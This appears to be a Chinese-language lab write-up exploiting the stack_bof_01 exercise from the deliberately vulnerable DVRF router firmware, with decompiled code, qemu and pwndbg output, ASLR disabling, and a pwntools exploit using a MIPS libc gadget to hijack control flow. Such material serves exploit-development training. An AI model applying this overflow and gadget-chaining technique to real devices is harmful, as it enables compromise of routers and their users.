binwalk -Me
提取固件后
使用ida查看,发现程序从命令行参数中传递strcpy
的数据
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[200]; // [sp+18h] [+18h] BYREF
if ( argc < 2 )
{
puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
exit(1);
}
puts("Welcome to the first BoF exercise!\r\n\r");
strcpy(v4, argv[1]);
printf("You entered %s \r\n", v4);
return 65;
}
通过cyclic
生成
from pwn import *
payload=cyclic(0x300)
with open("payload","w") as f:
f.write(payload.decode())
这里我们使用qemu-user
来模拟,写一个bash脚本帮助我们初始化
记得把所需的链接库目录复制到程序所在目录下
#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q -L ./ -g 1234 ./stack_bof_01 "`cat payload`"
然后使用gdb-multiarch
,使用set arch mips
指定架构,target remote:1234
开启远程调试,根据cyclic -l
可以算出偏移
*GP 0x448b80
*FP 0x407fffc8 ◂— 0x63616163 ('caac')
*SP 0x407fffc8 ◂— 0x63616163 ('caac')
*PC 0x63616162 ('baac')
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
Invalid address 0x63616162
───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ fp sp 0x407fffc8 ◂— 0x63616163 ('caac')
01:0004│ 0x407fffcc ◂— 0x63616164 ('daac')
02:0008│ 0x407fffd0 ◂— 0x63616165 ('eaac')
03:000c│ 0x407fffd4 ◂— 0x63616166 ('faac')
04:0010│ 0x407fffd8 ◂— 0x63616167 ('gaac')
05:0014│ 0x407fffdc ◂— 0x63616168 ('haac')
06:0018│ 0x407fffe0 ◂— 0x63616169 ('iaac')
07:001c│ 0x407fffe4 ◂— 0x6361616a ('jaac')
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
► f 0 0x63616162
────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x63616162
204
尝试按照x86的思路直接覆盖$ra
,这里使用bytes存在null bytes读不进去,最后用的str
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
payload='a'*204+'\xe0\x08\x40'
io=process(b"./q -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)
io.interactive()
最后异常
*S8 0x61616161 ('aaaa')
*GP 0x448b80
FP 0x0
*SP 0x40800038 ◂— 0
*PC 0x407ff2a9 ◂— beqz $v0, 0x4081f27d /* 0x10407ff4 */
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
► 0x407ff2a9 beqz $v0, 0x4081f27d
0x407ff2ad swr $ra, -0xf($at)
0x407ff2b1 ll $zero, 0x7ff4($v0)
───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ s0 sp 0x40800038 ◂— 0
01:0004│ 0x4080003c —▸ 0x40800114 —▸ 0x4080029e ◂— jalx 0x41ccbcb8 /* 0x74732f2e; './stack_bof_01' */
02:0008│ 0x40800040 —▸ 0x3ffba724 ◂— 0x4c475f00
03:000c│ 0x40800044 —▸ 0x3ffba354 ◂— 0
04:0010│ 0x40800048 —▸ 0x3feed5d0 ◂— negu $v0, $a0 /* 0x41023 */
05:0014│ 0x4080004c ◂— 0
... ↓ 2 skipped
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
► f 0 0x407ff2a9
────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
参考Swe3ty博客:
在MIPS中,函数内部会通过gp寄存器来找数据,地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址,这样才能正常的索引
在libc.so.0
中存在gadget,不过mipsrop找不到,可以手动定位到此处
.text:00006B20 00 00 B9 8F lw $t9, arg_0($sp)
.text:00006B24 09 F8 20 03 jalr $t9
先手动关闭地址随机化
对于libc基址,可以对程序函数下断点,建议使用b *$rebase(0x*)
的方式加断点,调试半天才想起来这个,跳转过去查看got地址,然后手算
user模式下vmmap并不方便使用,也可以手动查看进程内存映射
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
sudo netstat -tunpl|grep 1234 #查看进程PID
sudo cat /proc/*/maps #查看内存映射,*为进程PID
可以看到:
80eee000-80f29000 r--p 00000000 00:19 562334 /home/fk/Desktop/cve/DVRF-master/Firmware/_DVRF_v05.bin.extracted/squashfs-root/pwnable/Intro/lib/libc.so.0
最后还是使用start.sh
中的命令,所以最终exp修改如下:
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
libc_addr=0x80eee000
gadget1=0x6B20+libc_addr
payload="a"*204+p32(gadget1)+p32(0x4008e0)
with open("payload","w") as f:
f.write(payload)
# io=process(b"./q -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)
# io.interactive()